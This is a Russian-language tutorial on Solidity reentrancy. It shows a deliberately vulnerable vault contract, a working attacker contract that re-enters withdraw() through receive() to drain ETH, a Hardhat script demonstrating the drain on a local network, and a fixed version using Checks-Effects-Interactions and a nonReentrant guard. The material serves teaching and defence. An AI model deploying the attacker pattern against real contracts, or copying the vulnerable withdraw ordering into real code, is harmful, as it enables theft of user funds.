Reentrancy — атака и защита
Как работает reentrancy-атака в Solidity, почему порядок обновления state важен и как защитить withdraw-функцию.
Что такое reentrancy
Reentrancy — это атака, при которой внешний контракт повторно вызывает вашу функцию до того, как первый вызов успел обновить state.
Классический случай — withdraw(): контракт сначала отправляет ETH пользователю, а только потом обнуляет его баланс. Злоумышленник принимает ETH в receive() и снова вызывает withdraw(), пока старый баланс ещё записан в storage.
Воспроизводим атаку
Создайте файл contracts/ReentrancyDemo.sol:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
contract VulnerableVault {
mapping(address => uint256) public balances;
error NothingToWithdraw();
error EthTransferFailed();
function deposit() external payable {
balances[msg.sender] += msg.value;
}
function withdraw() external {
uint256 amount = balances[msg.sender];
if (amount == 0) {
revert NothingToWithdraw();
}
// Уязвимость: внешний вызов происходит до обновления state.
(bool success,) = msg.sender.call{value: amount}("");
if (!success) {
revert EthTransferFailed();
}
balances[msg.sender] = 0;
}
}
contract ReentrancyAttacker {
VulnerableVault public immutable vault;
uint256 private constant STEP = 1 ether;
constructor(address vaultAddress) {
vault = VulnerableVault(vaultAddress);
}
function attack() external payable {
require(msg.value == STEP, "Send exactly 1 ETH");
vault.deposit{value: STEP}();
vault.withdraw();
}
receive() external payable {
if (address(vault).balance >= STEP) {
vault.withdraw();
}
}
}
contract SafeVault {
mapping(address => uint256) public balances;
bool private locked;
error NothingToWithdraw();
error EthTransferFailed();
error Reentrancy();
modifier nonReentrant() {
if (locked) {
revert Reentrancy();
}
locked = true;
_;
locked = false;
}
function deposit() external payable {
balances[msg.sender] += msg.value;
}
function withdraw() external nonReentrant {
uint256 amount = balances[msg.sender];
if (amount == 0) {
revert NothingToWithdraw();
}
// Checks-Effects-Interactions: сначала меняем state.
balances[msg.sender] = 0;
// Только после этого отправляем ETH наружу.
(bool success,) = msg.sender.call{value: amount}("");
if (!success) {
revert EthTransferFailed();
}
}
}Создайте файл scripts/reentrancy.ts:
import { network } from "hardhat";
const { ethers } = await network.create();
const [victim, attackerWallet] = await ethers.getSigners();
const vault = await ethers.deployContract("VulnerableVault");
await vault.waitForDeployment();
const vaultAddress = await vault.getAddress();
const Attacker = await ethers.getContractFactory("ReentrancyAttacker", attackerWallet);
const attacker = await Attacker.deploy(vaultAddress);
await attacker.waitForDeployment();
const attackerAddress = await attacker.getAddress();
await vault.connect(victim).deposit({
value: ethers.parseEther("5"),
});
console.log("Vault до атаки:", ethers.formatEther(await ethers.provider.getBalance(vaultAddress)));
console.log(
"Attacker до атаки:",
ethers.formatEther(await ethers.provider.getBalance(attackerAddress)),
);
await attacker.connect(attackerWallet).attack({
value: ethers.parseEther("1"),
});
console.log("Vault после атаки:", ethers.formatEther(await ethers.provider.getBalance(vaultAddress)));
console.log(
"Attacker после атаки:",
ethers.formatEther(await ethers.provider.getBalance(attackerAddress)),
);Запуск:
npx hardhat run scripts/reentrancy.tsКонтракт атакующего вносит 1 ETH, но забирает больше: он повторно входит в withdraw() через receive(), пока баланс в VulnerableVault ещё не обнулён.
Как это работает
msg.sender.call{value: amount}("") — передаёт управление внешнему адресу. Если msg.sender — контракт, он может выполнить свой receive() или fallback().
receive() в ReentrancyAttacker — точка повторного входа. Она снова вызывает vault.withdraw(), пока balances[msg.sender] всё ещё равен 1 ETH.
balances[msg.sender] = 0 после внешнего вызова — причина уязвимости. State меняется слишком поздно.
Checks-Effects-Interactions — безопасный порядок: сначала проверки, затем изменение state, затем внешние вызовы.
nonReentrant() — дополнительный замок. Он запрещает войти в withdraw() второй раз, пока первый вызов ещё выполняется.
Почему transfer() не решает проблему
Раньше transfer() считали защитой, потому что он передавал только 2300 gas. Сейчас это плохая гарантия безопасности: стоимость opcodes менялась, а контракты могут ломаться из-за gas assumptions.
Безопасность должна держаться на порядке state-изменений и reentrancy guard, а не на надежде, что внешнему контракту не хватит gas.
Частые ошибки
Обнулить баланс после отправки ETH → обнуляйте или уменьшайте баланс до call.
Защитить только одну функцию → reentrancy может идти через другую публичную функцию, которая использует тот же state.
Считать уязвимыми только ETH-переводы → ERC-777 hooks, NFT callbacks и произвольные external calls тоже могут вернуть управление атакующему контракту.
Что дальше
- Вызов write-функций контракта — как транзакции меняют state и вызывают контрактный код
- Proxy-контракты — почему upgradeable-контракты требуют отдельной дисциплины безопасности
- Batch транзакции через Multicall — как несколько внешних вызовов выполняются внутри одной транзакции